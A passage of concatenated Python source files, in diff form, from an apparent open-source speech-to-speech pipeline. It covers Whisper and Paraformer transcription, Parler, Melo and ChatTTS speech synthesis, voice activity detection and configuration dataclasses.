+        self.model = AutoModel(model=model_name, device=device)
+        self.warmup()
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        n_steps = 1
+        dummy_input = np.array([0] * 512, dtype=np.float32)
+        for _ in range(n_steps):
+            _ = self.model.generate(dummy_input)[0]['text'].strip().replace(' ', '')
+
+    def process(self, spoken_prompt):
+        logger.debug('infering paraformer...')
+        global pipeline_start
+        pipeline_start = perf_counter()
+        pred_text = self.model.generate(spoken_prompt)[0]['text'].strip().replace(' ', '')
+        torch.mps.empty_cache()
+        logger.debug('finished paraformer inference')
+        console.print(f'[yellow]USER: {pred_text}')
+        yield pred_text
+
+# File: speech-to-speech-main/STT/whisper_stt_handler.py
+from time import perf_counter
+from transformers import AutoProcessor, AutoModelForSpeechSeq2Seq
+import torch
+from copy import copy
+from baseHandler import BaseHandler
+from rich.console import Console
+import logging
+logger = logging.getLogger(__name__)
+console = Console()
+SUPPORTED_LANGUAGES = ['en', 'fr', 'es', 'zh', 'ja', 'ko']
+
+class WhisperSTTHandler(BaseHandler):
+
+    def setup(self, model_name='distil-whisper/distil-large-v3', device='cuda', torch_dtype='float16', compile_mode=None, language=None, gen_kwargs={}):
+        self.device = device
+        self.torch_dtype = getattr(torch, torch_dtype)
+        self.compile_mode = compile_mode
+        self.gen_kwargs = gen_kwargs
+        if language == 'auto':
+            language = None
+        self.last_language = language
+        if self.last_language is not None:
+            self.gen_kwargs['language'] = self.last_language
+        self.processor = AutoProcessor.from_pretrained(model_name)
+        self.model = AutoModelForSpeechSeq2Seq.from_pretrained(model_name, torch_dtype=self.torch_dtype).to(device)
+        if self.compile_mode:
+            self.model.generation_config.cache_implementation = 'static'
+            self.model.forward = torch.compile(self.model.forward, mode=self.compile_mode, fullgraph=True)
+        self.warmup()
+
+    def prepare_model_inputs(self, spoken_prompt):
+        input_features = self.processor(spoken_prompt, sampling_rate=16000, return_tensors='pt').input_features
+        input_features = input_features.to(self.device, dtype=self.torch_dtype)
+        return input_features
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        n_steps = 1 if self.compile_mode == 'default' else 2
+        dummy_input = torch.randn((1, self.model.config.num_mel_bins, 3000), dtype=self.torch_dtype, device=self.device)
+        if self.compile_mode not in (None, 'default'):
+            warmup_gen_kwargs = {'min_new_tokens': self.gen_kwargs['max_new_tokens'], 'max_new_tokens': self.gen_kwargs['max_new_tokens'], **self.gen_kwargs}
+        else:
+            warmup_gen_kwargs = self.gen_kwargs
+        if self.device == 'cuda':
+            start_event = torch.cuda.Event(enable_timing=True)
+            end_event = torch.cuda.Event(enable_timing=True)
+            torch.cuda.synchronize()
+            start_event.record()
+        for _ in range(n_steps):
+            _ = self.model.generate(dummy_input, **warmup_gen_kwargs)
+        if self.device == 'cuda':
+            end_event.record()
+            torch.cuda.synchronize()
+            logger.info(f'{self.__class__.__name__}:  warmed up! time: {start_event.elapsed_time(end_event) * 0.001:.3f} s')
+
+    def process(self, spoken_prompt):
+        logger.debug('infering whisper...')
+        global pipeline_start
+        pipeline_start = perf_counter()
+        input_features = self.prepare_model_inputs(spoken_prompt)
+        pred_ids = self.model.generate(input_features, **self.gen_kwargs)
+        language_code = self.processor.tokenizer.decode(pred_ids[0, 1])[2:-2]
+        if language_code not in SUPPORTED_LANGUAGES:
+            logger.warning('Whisper detected unsupported language:', language_code)
+            gen_kwargs = copy(self.gen_kwargs)
+            gen_kwargs['language'] = self.last_language
+            language_code = self.last_language
+            pred_ids = self.model.generate(input_features, **gen_kwargs)
+        else:
+            self.last_language = language_code
+        pred_text = self.processor.batch_decode(pred_ids, skip_special_tokens=True, decode_with_timestamps=False)[0]
+        language_code = self.processor.tokenizer.decode(pred_ids[0, 1])[2:-2]
+        logger.debug('finished whisper inference')
+        console.print(f'[yellow]USER: {pred_text}')
+        logger.debug(f'Language Code Whisper: {language_code}')
+        yield (pred_text, language_code)
+
+# File: speech-to-speech-main/TTS/chatTTS_handler.py
+import ChatTTS
+import logging
+from baseHandler import BaseHandler
+import librosa
+import numpy as np
+from rich.console import Console
+import torch
+logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+logger = logging.getLogger(__name__)
+console = Console()
+
+class ChatTTSHandler(BaseHandler):
+
+    def setup(self, should_listen, device='cuda', gen_kwargs={}, stream=True, chunk_size=512):
+        self.should_listen = should_listen
+        self.device = device
+        self.model = ChatTTS.Chat()
+        self.model.load(compile=False)
+        self.chunk_size = chunk_size
+        self.stream = stream
+        rnd_spk_emb = self.model.sample_random_speaker()
+        self.params_infer_code = ChatTTS.Chat.InferCodeParams(spk_emb=rnd_spk_emb)
+        self.warmup()
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        _ = self.model.infer('text')
+
+    def process(self, llm_sentence):
+        console.print(f'[green]ASSISTANT: {llm_sentence}')
+        if self.device == 'mps':
+            import time
+            start = time.time()
+            torch.mps.synchronize()
+            torch.mps.empty_cache()
+            _ = time.time() - start
+        wavs_gen = self.model.infer(llm_sentence, params_infer_code=self.params_infer_code, stream=self.stream)
+        if self.stream:
+            wavs = [np.array([])]
+            for gen in wavs_gen:
+                if gen[0] is None or len(gen[0]) == 0:
+                    self.should_listen.set()
+                    return
+                audio_chunk = librosa.resample(gen[0], orig_sr=24000, target_sr=16000)
+                audio_chunk = (audio_chunk * 32768).astype(np.int16)[0]
+                while len(audio_chunk) > self.chunk_size:
+                    yield audio_chunk[:self.chunk_size]
+                    audio_chunk = audio_chunk[self.chunk_size:]
+                yield np.pad(audio_chunk, (0, self.chunk_size - len(audio_chunk)))
+        else:
+            wavs = wavs_gen
+            if len(wavs[0]) == 0:
+                self.should_listen.set()
+                return
+            audio_chunk = librosa.resample(wavs[0], orig_sr=24000, target_sr=16000)
+            audio_chunk = (audio_chunk * 32768).astype(np.int16)
+            for i in range(0, len(audio_chunk), self.chunk_size):
+                yield np.pad(audio_chunk[i:i + self.chunk_size], (0, self.chunk_size - len(audio_chunk[i:i + self.chunk_size])))
+        self.should_listen.set()
+
+# File: speech-to-speech-main/TTS/melo_handler.py
+from melo.api import TTS
+import logging
+from baseHandler import BaseHandler
+import librosa
+import numpy as np
+from rich.console import Console
+import torch
+logger = logging.getLogger(__name__)
+console = Console()
+WHISPER_LANGUAGE_TO_MELO_LANGUAGE = {'en': 'EN_NEWEST', 'fr': 'FR', 'es': 'ES', 'zh': 'ZH', 'ja': 'JP', 'ko': 'KR'}
+WHISPER_LANGUAGE_TO_MELO_SPEAKER = {'en': 'EN-Newest', 'fr': 'FR', 'es': 'ES', 'zh': 'ZH', 'ja': 'JP', 'ko': 'KR'}
+
+class MeloTTSHandler(BaseHandler):
+
+    def setup(self, should_listen, device='mps', language='en', speaker_to_id='en', gen_kwargs={}, blocksize=512):
+        self.should_listen = should_listen
+        self.device = device
+        self.language = language
+        self.model = TTS(language=WHISPER_LANGUAGE_TO_MELO_LANGUAGE[self.language], device=device)
+        self.speaker_id = self.model.hps.data.spk2id[WHISPER_LANGUAGE_TO_MELO_SPEAKER[speaker_to_id]]
+        self.blocksize = blocksize
+        self.warmup()
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        _ = self.model.tts_to_file('text', self.speaker_id, quiet=True)
+
+    def process(self, llm_sentence):
+        language_code = None
+        if isinstance(llm_sentence, tuple):
+            (llm_sentence, language_code) = llm_sentence
+        console.print(f'[green]ASSISTANT: {llm_sentence}')
+        if language_code is not None and self.language != language_code:
+            try:
+                self.model = TTS(language=WHISPER_LANGUAGE_TO_MELO_LANGUAGE[language_code], device=self.device)
+                self.speaker_id = self.model.hps.data.spk2id[WHISPER_LANGUAGE_TO_MELO_SPEAKER[language_code]]
+                self.language = language_code
+            except KeyError:
+                console.print(f'[red]Language {language_code} not supported by Melo. Using {self.language} instead.')
+        if self.device == 'mps':
+            import time
+            start = time.time()
+            torch.mps.synchronize()
+            torch.mps.empty_cache()
+            _ = time.time() - start
+        try:
+            audio_chunk = self.model.tts_to_file(llm_sentence, self.speaker_id, quiet=True)
+        except (AssertionError, RuntimeError) as e:
+            logger.error(f'Error in MeloTTSHandler: {e}')
+            audio_chunk = np.array([])
+        if len(audio_chunk) == 0:
+            self.should_listen.set()
+            return
+        audio_chunk = librosa.resample(audio_chunk, orig_sr=44100, target_sr=16000)
+        audio_chunk = (audio_chunk * 32768).astype(np.int16)
+        for i in range(0, len(audio_chunk), self.blocksize):
+            yield np.pad(audio_chunk[i:i + self.blocksize], (0, self.blocksize - len(audio_chunk[i:i + self.blocksize])))
+        self.should_listen.set()
+
+# File: speech-to-speech-main/TTS/parler_handler.py
+from threading import Thread
+from time import perf_counter
+from baseHandler import BaseHandler
+import numpy as np
+import torch
+from transformers import AutoTokenizer
+from parler_tts import ParlerTTSForConditionalGeneration, ParlerTTSStreamer
+import librosa
+import logging
+from rich.console import Console
+from utils.utils import next_power_of_2
+from transformers.utils.import_utils import is_flash_attn_2_available
+torch._inductor.config.fx_graph_cache = True
+torch._dynamo.config.cache_size_limit = 15
+logger = logging.getLogger(__name__)
+console = Console()
+if not is_flash_attn_2_available() and torch.cuda.is_available():
+    logger.warn('Parler TTS works best with flash attention 2, but is not installed\n        Given that CUDA is available in this system, you can install flash attention 2 with `uv pip install flash-attn --no-build-isolation`')
+
+class ParlerTTSHandler(BaseHandler):
+
+    def setup(self, should_listen, model_name='ylacombe/parler-tts-mini-jenny-30H', device='cuda', torch_dtype='float16', compile_mode=None, gen_kwargs={}, max_prompt_pad_length=8, description='A female speaker with a slightly low-pitched voice delivers her words quite expressively, in a very confined sounding environment with clear audio quality. She speaks very fast.', play_steps_s=1, blocksize=512):
+        self.should_listen = should_listen
+        self.device = device
+        self.torch_dtype = getattr(torch, torch_dtype)
+        self.gen_kwargs = gen_kwargs
+        self.compile_mode = compile_mode
+        self.max_prompt_pad_length = max_prompt_pad_length
+        self.description = description
+        self.description_tokenizer = AutoTokenizer.from_pretrained(model_name)
+        self.prompt_tokenizer = AutoTokenizer.from_pretrained(model_name)
+        self.model = ParlerTTSForConditionalGeneration.from_pretrained(model_name, torch_dtype=self.torch_dtype).to(device)
+        framerate = self.model.audio_encoder.config.frame_rate
+        self.play_steps = int(framerate * play_steps_s)
+        self.blocksize = blocksize
+        if self.compile_mode not in (None, 'default'):
+            logger.warning("Torch compilation modes that captures CUDA graphs are not yet compatible with the STT part. Reverting to 'default'")
+            self.compile_mode = 'default'
+        if self.compile_mode:
+            self.model.generation_config.cache_implementation = 'static'
+            self.model.forward = torch.compile(self.model.forward, mode=self.compile_mode, fullgraph=True)
+        self.warmup()
+
+    def prepare_model_inputs(self, prompt, max_length_prompt=50, pad=False):
+        pad_args_prompt = {'padding': 'max_length', 'max_length': max_length_prompt} if pad else {}
+        tokenized_description = self.description_tokenizer(self.description, return_tensors='pt')
+        input_ids = tokenized_description.input_ids.to(self.device)
+        attention_mask = tokenized_description.attention_mask.to(self.device)
+        tokenized_prompt = self.prompt_tokenizer(prompt, return_tensors='pt', **pad_args_prompt)
+        prompt_input_ids = tokenized_prompt.input_ids.to(self.device)
+        prompt_attention_mask = tokenized_prompt.attention_mask.to(self.device)
+        gen_kwargs = {'input_ids': input_ids, 'attention_mask': attention_mask, 'prompt_input_ids': prompt_input_ids, 'prompt_attention_mask': prompt_attention_mask, **self.gen_kwargs}
+        return gen_kwargs
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        if self.device == 'cuda':
+            start_event = torch.cuda.Event(enable_timing=True)
+            end_event = torch.cuda.Event(enable_timing=True)
+        n_steps = 1 if self.compile_mode == 'default' else 2
+        if self.device == 'cuda':
+            torch.cuda.synchronize()
+            start_event.record()
+        if self.compile_mode:
+            pad_lengths = [2 ** i for i in range(2, self.max_prompt_pad_length)]
+            for pad_length in pad_lengths[::-1]:
+                model_kwargs = self.prepare_model_inputs('dummy prompt', max_length_prompt=pad_length, pad=True)
+                for _ in range(n_steps):
+                    _ = self.model.generate(**model_kwargs)
+                logger.info(f'Warmed up length {pad_length} tokens!')
+        else:
+            model_kwargs = self.prepare_model_inputs('dummy prompt')
+            for _ in range(n_steps):
+                _ = self.model.generate(**model_kwargs)
+        if self.device == 'cuda':
+            end_event.record()
+            torch.cuda.synchronize()
+            logger.info(f'{self.__class__.__name__}:  warmed up! time: {start_event.elapsed_time(end_event) * 0.001:.3f} s')
+
+    def process(self, llm_sentence):
+        if isinstance(llm_sentence, tuple):
+            (llm_sentence, _) = llm_sentence
+        console.print(f'[green]ASSISTANT: {llm_sentence}')
+        nb_tokens = len(self.prompt_tokenizer(llm_sentence).input_ids)
+        pad_args = {}
+        if self.compile_mode:
+            pad_length = next_power_of_2(nb_tokens)
+            logger.debug(f'padding to {pad_length}')
+            pad_args['pad'] = True
+            pad_args['max_length_prompt'] = pad_length
+        tts_gen_kwargs = self.prepare_model_inputs(llm_sentence, **pad_args)
+        streamer = ParlerTTSStreamer(self.model, device=self.device, play_steps=self.play_steps)
+        tts_gen_kwargs = {'streamer': streamer, **tts_gen_kwargs}
+        torch.manual_seed(0)
+        thread = Thread(target=self.model.generate, kwargs=tts_gen_kwargs)
+        thread.start()
+        for (i, audio_chunk) in enumerate(streamer):
+            global pipeline_start
+            if i == 0 and 'pipeline_start' in globals():
+                logger.info(f'Time to first audio: {perf_counter() - pipeline_start:.3f}')
+            audio_chunk = librosa.resample(audio_chunk, orig_sr=44100, target_sr=16000)
+            audio_chunk = (audio_chunk * 32768).astype(np.int16)
+            for i in range(0, len(audio_chunk), self.blocksize):
+                yield np.pad(audio_chunk[i:i + self.blocksize], (0, self.blocksize - len(audio_chunk[i:i + self.blocksize])))
+        self.should_listen.set()
+
+# File: speech-to-speech-main/VAD/vad_handler.py
+import torchaudio
+from VAD.vad_iterator import VADIterator
+from baseHandler import BaseHandler
+import numpy as np
+import torch
+from rich.console import Console
+from utils.utils import int2float
+from df.enhance import enhance, init_df
+import logging
+logger = logging.getLogger(__name__)
+console = Console()
+
+class VADHandler(BaseHandler):
+
+    def setup(self, should_listen, thresh=0.3, sample_rate=16000, min_silence_ms=1000, min_speech_ms=500, max_speech_ms=float('inf'), speech_pad_ms=30, audio_enhancement=False):
+        self.should_listen = should_listen
+        self.sample_rate = sample_rate
+        self.min_silence_ms = min_silence_ms
+        self.min_speech_ms = min_speech_ms
+        self.max_speech_ms = max_speech_ms
+        (self.model, _) = torch.hub.load('snakers4/silero-vad', 'silero_vad')
+        self.iterator = VADIterator(self.model, threshold=thresh, sampling_rate=sample_rate, min_silence_duration_ms=min_silence_ms, speech_pad_ms=speech_pad_ms)
+        self.audio_enhancement = audio_enhancement
+        if audio_enhancement:
+            (self.enhanced_model, self.df_state, _) = init_df()
+
+    def process(self, audio_chunk):
+        audio_int16 = np.frombuffer(audio_chunk, dtype=np.int16)
+        audio_float32 = int2float(audio_int16)
+        vad_output = self.iterator(torch.from_numpy(audio_float32))
+        if vad_output is not None and len(vad_output) != 0:
+            logger.debug('VAD: end of speech detected')
+            array = torch.cat(vad_output).cpu().numpy()
+            duration_ms = len(array) / self.sample_rate * 1000
+            if duration_ms < self.min_speech_ms or duration_ms > self.max_speech_ms:
+                logger.debug(f'audio input of duration: {len(array) / self.sample_rate}s, skipping')
+            else:
+                self.should_listen.clear()
+                logger.debug('Stop listening')
+                if self.audio_enhancement:
+                    if self.sample_rate != self.df_state.sr():
+                        audio_float32 = torchaudio.functional.resample(torch.from_numpy(array), orig_freq=self.sample_rate, new_freq=self.df_state.sr())
+                        enhanced = enhance(self.enhanced_model, self.df_state, audio_float32.unsqueeze(0))
+                        enhanced = torchaudio.functional.resample(enhanced, orig_freq=self.df_state.sr(), new_freq=self.sample_rate)
+                    else:
+                        enhanced = enhance(self.enhanced_model, self.df_state, audio_float32)
+                    array = enhanced.numpy().squeeze()
+                yield array
+
+    @property
+    def min_time_to_debug(self):
+        return 1e-05
+
+# File: speech-to-speech-main/VAD/vad_iterator.py
+import torch
+
+class VADIterator:
+
+    def __init__(self, model, threshold: float=0.5, sampling_rate: int=16000, min_silence_duration_ms: int=100, speech_pad_ms: int=30):
+        self.model = model
+        self.threshold = threshold
+        self.sampling_rate = sampling_rate
+        self.is_speaking = False
+        self.buffer = []
+        if sampling_rate not in [8000, 16000]:
+            raise ValueError('VADIterator does not support sampling rates other than [8000, 16000]')
+        self.min_silence_samples = sampling_rate * min_silence_duration_ms / 1000
+        self.speech_pad_samples = sampling_rate * speech_pad_ms / 1000
+        self.reset_states()
+
+    def reset_states(self):
+        self.model.reset_states()
+        self.triggered = False
+        self.temp_end = 0
+        self.current_sample = 0
+
+    @torch.no_grad()
+    def __call__(self, x):
+        if not torch.is_tensor(x):
+            try:
+                x = torch.Tensor(x)
+            except Exception:
+                raise TypeError('Audio cannot be casted to tensor. Cast it manually')
+        window_size_samples = len(x[0]) if x.dim() == 2 else len(x)
+        self.current_sample += window_size_samples
+        speech_prob = self.model(x, self.sampling_rate).item()
+        if speech_prob >= self.threshold and self.temp_end:
+            self.temp_end = 0
+        if speech_prob >= self.threshold and (not self.triggered):
+            self.triggered = True
+            return None
+        if speech_prob < self.threshold - 0.15 and self.triggered:
+            if not self.temp_end:
+                self.temp_end = self.current_sample
+            if self.current_sample - self.temp_end < self.min_silence_samples:
+                return None
+            else:
+                self.temp_end = 0
+                self.triggered = False
+                spoken_utterance = self.buffer
+                self.buffer = []
+                return spoken_utterance
+        if self.triggered:
+            self.buffer.append(x)
+        return None
+
+# File: speech-to-speech-main/arguments_classes/chat_tts_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class ChatTTSHandlerArguments:
+    chat_tts_stream: bool = field(default=True, metadata={'help': "The tts mode is stream Default is 'stream'."})
+    chat_tts_device: str = field(default='cuda', metadata={'help': "The device to be used for speech synthesis. Default is 'cuda'."})
+    chat_tts_chunk_size: int = field(default=512, metadata={'help': 'Sets the size of the audio data chunk processed per cycle, balancing playback latency and CPU load.. Default is 512。.'})
+
+# File: speech-to-speech-main/arguments_classes/language_model_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class LanguageModelHandlerArguments:
+    lm_model_name: str = field(default='HuggingFaceTB/SmolLM-360M-Instruct', metadata={'help': "The pretrained language model to use. Default is 'microsoft/Phi-3-mini-4k-instruct'."})
+    lm_device: str = field(default='cuda', metadata={'help': "The device type on which the model will run. Default is 'cuda' for GPU acceleration."})
+    lm_torch_dtype: str = field(default='float16', metadata={'help': 'The PyTorch data type for the model and input tensors. One of `float32` (full-precision), `float16` or `bfloat16` (both half-precision).'})
+    user_role: str = field(default='user', metadata={'help': "Role assigned to the user in the chat context. Default is 'user'."})
+    init_chat_role: str = field(default='system', metadata={'help': "Initial role for setting up the chat context. Default is 'system'."})
+    init_chat_prompt: str = field(default='You are a helpful and friendly AI assistant. You are polite, respectful, and aim to provide concise responses of less than 20 words.', metadata={'help': "The initial chat prompt to establish context for the language model. Default is 'You are a helpful AI assistant.'"})
+    lm_gen_max_new_tokens: int = field(default=128, metadata={'help': 'Maximum number of new tokens to generate in a single completion. Default is 128.'})
+    lm_gen_min_new_tokens: int = field(default=0, metadata={'help': 'Minimum number of new tokens to generate in a single completion. Default is 0.'})
+    lm_gen_temperature: float = field(default=0.0, metadata={'help': 'Controls the randomness of the output. Set to 0.0 for deterministic (repeatable) outputs. Default is 0.0.'})
+    lm_gen_do_sample: bool = field(default=False, metadata={'help': 'Whether to use sampling; set this to False for deterministic outputs. Default is False.'})
+    chat_size: int = field(default=2, metadata={'help': 'Number of interactions assitant-user to keep for the chat. None for no limitations.'})
+
+# File: speech-to-speech-main/arguments_classes/melo_tts_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class MeloTTSHandlerArguments:
+    melo_language: str = field(default='en', metadata={'help': "The language of the text to be synthesized. Default is 'EN_NEWEST'."})
+    melo_device: str = field(default='auto', metadata={'help': "The device to be used for speech synthesis. Default is 'auto'."})
+    melo_speaker_to_id: str = field(default='en', metadata={'help': "Mapping of speaker names to speaker IDs. Default is ['EN-Newest']."})
+
+# File: speech-to-speech-main/arguments_classes/mlx_language_model_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class MLXLanguageModelHandlerArguments:
+    mlx_lm_model_name: str = field(default='mlx-community/SmolLM-360M-Instruct', metadata={'help': "The pretrained language model to use. Default is 'microsoft/Phi-3-mini-4k-instruct'."})
+    mlx_lm_device: str = field(default='mps', metadata={'help': "The device type on which the model will run. Default is 'cuda' for GPU acceleration."})
+    mlx_lm_torch_dtype: str = field(default='float16', metadata={'help': 'The PyTorch data type for the model and input tensors. One of `float32` (full-precision), `float16` or `bfloat16` (both half-precision).'})
+    mlx_lm_user_role: str = field(default='user', metadata={'help': "Role assigned to the user in the chat context. Default is 'user'."})
+    mlx_lm_init_chat_role: str = field(default='system', metadata={'help': "Initial role for setting up the chat context. Default is 'system'."})
+    mlx_lm_init_chat_prompt: str = field(default='You are a helpful and friendly AI assistant. You are polite, respectful, and aim to provide concise responses of less than 20 words.', metadata={'help': "The initial chat prompt to establish context for the language model. Default is 'You are a helpful AI assistant.'"})
+    mlx_lm_gen_max_new_tokens: int = field(default=128, metadata={'help': 'Maximum number of new tokens to generate in a single completion. Default is 128.'})
+    mlx_lm_gen_temperature: float = field(default=0.0, metadata={'help': 'Controls the randomness of the output. Set to 0.0 for deterministic (repeatable) outputs. Default is 0.0.'})
+    mlx_lm_gen_do_sample: bool = field(default=False, metadata={'help': 'Whether to use sampling; set this to False for deterministic outputs. Default is False.'})
+    mlx_lm_chat_size: int = field(default=2, metadata={'help': 'Number of interactions assitant-user to keep for the chat. None for no limitations.'})
+
+# File: speech-to-speech-main/arguments_classes/module_arguments.py
+from dataclasses import dataclass, field
+from typing import Optional
+
+@dataclass
+class ModuleArguments:
+    device: Optional[str] = field(default=None, metadata={'help': 'If specified, overrides the device for all handlers.'})
+    mode: Optional[str] = field(default='socket', metadata={'help': "The mode to run the pipeline in. Either 'local' or 'socket'. Default is 'socket'."})
+    local_mac_optimal_settings: bool = field(default=False, metadata={'help': 'If specified, sets the optimal settings for Mac OS. Hence whisper-mlx, MLX LM and MeloTTS will be used.'})
+    stt: Optional[str] = field(default='whisper', metadata={'help': "The STT to use. Either 'whisper', 'whisper-mlx', and 'paraformer'. Default is 'whisper'."})
+    llm: Optional[str] = field(default='transformers', metadata={'help': "The LLM to use. Either 'transformers' or 'mlx-lm'. Default is 'transformers'"})
+    tts: Optional[str] = field(default='parler', metadata={'help': "The TTS to use. Either 'parler', 'melo', or 'chatTTS'. Default is 'parler'"})
+    log_level: str = field(default='info', metadata={'help': 'Provide logging level. Example --log_level debug, default=warning.'})
+
+# File: speech-to-speech-main/arguments_classes/paraformer_stt_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class ParaformerSTTHandlerArguments:
+    paraformer_stt_model_name: str = field(default='paraformer-zh', metadata={'help': "The pretrained model to use. Default is 'paraformer-zh'. Can be choose from https://github.com/modelscope/FunASR"})
+    paraformer_stt_device: str = field(default='cuda', metadata={'help': "The device type on which the model will run. Default is 'cuda' for GPU acceleration."})
+
+# File: speech-to-speech-main/arguments_classes/parler_tts_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class ParlerTTSHandlerArguments:
+    tts_model_name: str = field(default='ylacombe/parler-tts-mini-jenny-30H', metadata={'help': "The pretrained TTS model to use. Default is 'ylacombe/parler-tts-mini-jenny-30H'."})
+    tts_device: str = field(default='cuda', metadata={'help': "The device type on which the model will run. Default is 'cuda' for GPU acceleration."})
+    tts_torch_dtype: str = field(default='float16', metadata={'help': 'The PyTorch data type for the model and input tensors. One of `float32` (full-precision), `float16` or `bfloat16` (both half-precision).'})
+    tts_compile_mode: str = field(default=None, metadata={'help': "Compile mode for torch compile. Either 'default', 'reduce-overhead' and 'max-autotune'. Default is None (no compilation)"})
+    tts_gen_min_new_tokens: int = field(default=64, metadata={'help': 'Maximum number of new tokens to generate in a single completion. Default is 10, which corresponds to ~0.1 secs'})
+    tts_gen_max_new_tokens: int = field(default=512, metadata={'help': 'Maximum number of new tokens to generate in a single completion. Default is 256, which corresponds to ~6 secs'})
+    description: str = field(default='A female speaker with a slightly low-pitched voice delivers her words quite expressively, in a very confined sounding environment with clear audio quality. She speaks very fast.', metadata={'help': "Description of the speaker's voice and speaking style to guide the TTS model."})
+    play_steps_s: float = field(default=1.0, metadata={'help': 'The time interval in seconds for playing back the generated speech in steps. Default is 0.5 seconds.'})
+    max_prompt_pad_length: int = field(default=8, metadata={'help': 'When using compilation, the prompt as to be padded to closest power of 2. This parameters sets the maximun power of 2 possible.'})
+
+# File: speech-to-speech-main/arguments_classes/socket_receiver_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class SocketReceiverArguments:
+    recv_host: str = field(default='localhost', metadata={'help': "The host IP ddress for the socket connection. Default is '0.0.0.0' which binds to all available interfaces on the host machine."})
+    recv_port: int = field(default=12345, metadata={'help': 'The port number on which the socket server listens. Default is 12346.'})
+    chunk_size: int = field(default=1024, metadata={'help': 'The size of each data chunk to be sent or received over the socket. Default is 1024 bytes.'})
+
+# File: speech-to-speech-main/arguments_classes/socket_sender_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class SocketSenderArguments:
+    send_host: str = field(default='localhost', metadata={'help': "The host IP address for the socket connection. Default is '0.0.0.0' which binds to all available interfaces on the host machine."})
+    send_port: int = field(default=12346, metadata={'help': 'The port number on which the socket server listens. Default is 12346.'})
+
+# File: speech-to-speech-main/arguments_classes/vad_arguments.py
+from dataclasses import dataclass, field
+
+@dataclass
+class VADHandlerArguments:
+    thresh: float = field(default=0.3, metadata={'help': 'The threshold value for voice activity detection (VAD). Values typically range from 0 to 1, with higher values requiring higher confidence in speech detection.'})
+    sample_rate: int = field(default=16000, metadata={'help': 'The sample rate of the audio in Hertz. Default is 16000 Hz, which is a common setting for voice audio.'})
+    min_silence_ms: int = field(default=250, metadata={'help': 'Minimum length of silence intervals to be used for segmenting speech. Measured in milliseconds. Default is 250 ms.'})
+    min_speech_ms: int = field(default=500, metadata={'help': 'Minimum length of speech segments to be considered valid speech. Measured in milliseconds. Default is 500 ms.'})
+    max_speech_ms: float = field(default=float('inf'), metadata={'help': 'Maximum length of continuous speech before forcing a split. Default is infinite, allowing for uninterrupted speech segments.'})
+    speech_pad_ms: int = field(default=500, metadata={'help': 'Amount of padding added to the beginning and end of detected speech segments. Measured in milliseconds. Default is 250 ms.'})
+    audio_enhancement: bool = field(default=False, metadata={'help': 'improves sound quality by applying techniques like noise reduction, equalization, and echo cancellation. Default is False.'})
+
+# File: speech-to-speech-main/arguments_classes/whisper_stt_arguments.py
+from dataclasses import dataclass, field
+from typing import Optional
+
+@dataclass
+class WhisperSTTHandlerArguments:
+    stt_model_name: str = field(default='distil-whisper/distil-large-v3', metadata={'help': "The pretrained Whisper model to use. Default is 'distil-whisper/distil-large-v3'."})
+    stt_device: str = field(default='cuda', metadata={'help': "The device type on which the model will run. Default is 'cuda' for GPU acceleration."})
+    stt_torch_dtype: str = field(default='float16', metadata={'help': 'The PyTorch data type for the model and input tensors. One of `float32` (full-precision), `float16` or `bfloat16` (both half-precision).'})
+    stt_compile_mode: str = field(default=None, metadata={'help': "Compile mode for torch compile. Either 'default', 'reduce-overhead' and 'max-autotune'. Default is None (no compilation)"})
+    stt_gen_max_new_tokens: int = field(default=128, metadata={'help': 'The maximum number of new tokens to generate. Default is 128.'})
+    stt_gen_num_beams: int = field(default=1, metadata={'help': 'The number of beams for beam search. Default is 1, implying greedy decoding.'})
+    stt_gen_return_timestamps: bool = field(default=False, metadata={'help': 'Whether to return timestamps with transcriptions. Default is False.'})
+    stt_gen_task: str = field(default='transcribe', metadata={'help': "The task to perform, typically 'transcribe' for transcription. Default is 'transcribe'."})
+    language: Optional[str] = field(default='en', metadata={'help': "The language for the conversation. \n            Choose between 'en' (english), 'fr' (french), 'es' (spanish), \n            'zh' (chinese), 'ko' (korean), 'ja' (japanese), or 'None'.\n            If using 'auto', the language is automatically detected and can\n            change during the conversation. Default is 'en'."})
+
+# File: speech-to-speech-main/baseHandler.py
+from time import perf_counter
+import logging
+logger = logging.getLogger(__name__)
+
+class BaseHandler:
+
+    def __init__(self, stop_event, queue_in, queue_out, setup_args=(), setup_kwargs={}):
+        self.stop_event = stop_event
+        self.queue_in = queue_in
+        self.queue_out = queue_out
+        self.setup(*setup_args, **setup_kwargs)
+        self._times = []
+
+    def setup(self):
+        pass
+
+    def process(self):
+        raise NotImplementedError
+
+    def run(self):
+        while not self.stop_event.is_set():
+            input = self.queue_in.get()
+            if isinstance(input, bytes) and input == b'END':
+                logger.debug('Stopping thread')
+                break
+            start_time = perf_counter()
+            for output in self.process(input):
+                self._times.append(perf_counter() - start_time)
+                if self.last_time > self.min_time_to_debug:
+                    logger.debug(f'{self.__class__.__name__}: {self.last_time: .3f} s')
+                self.queue_out.put(output)
+                start_time = perf_counter()
+        self.cleanup()
+        self.queue_out.put(b'END')
+
+    @property
+    def last_time(self):
+        return self._times[-1]
+
+    @property
+    def min_time_to_debug(self):
+        return 0.001
+
+    def cleanup(self):
+        pass
+
+# File: speech-to-speech-main/connections/local_audio_streamer.py
+import threading
+import sounddevice as sd
+import numpy as np
+import time
+import logging
+logger = logging.getLogger(__name__)
+
+class LocalAudioStreamer:
+
+    def __init__(self, input_queue, output_queue, list_play_chunk_size=512):
+        self.list_play_chunk_size = list_play_chunk_size
+        self.stop_event = threading.Event()
+        self.input_queue = input_queue
+        self.output_queue = output_queue
+
+    def run(self):
+
+        def callback(indata, outdata, frames, time, status):
+            if self.output_queue.empty():
+                self.input_queue.put(indata.copy())
+                outdata[:] = 0 * outdata
+            else:
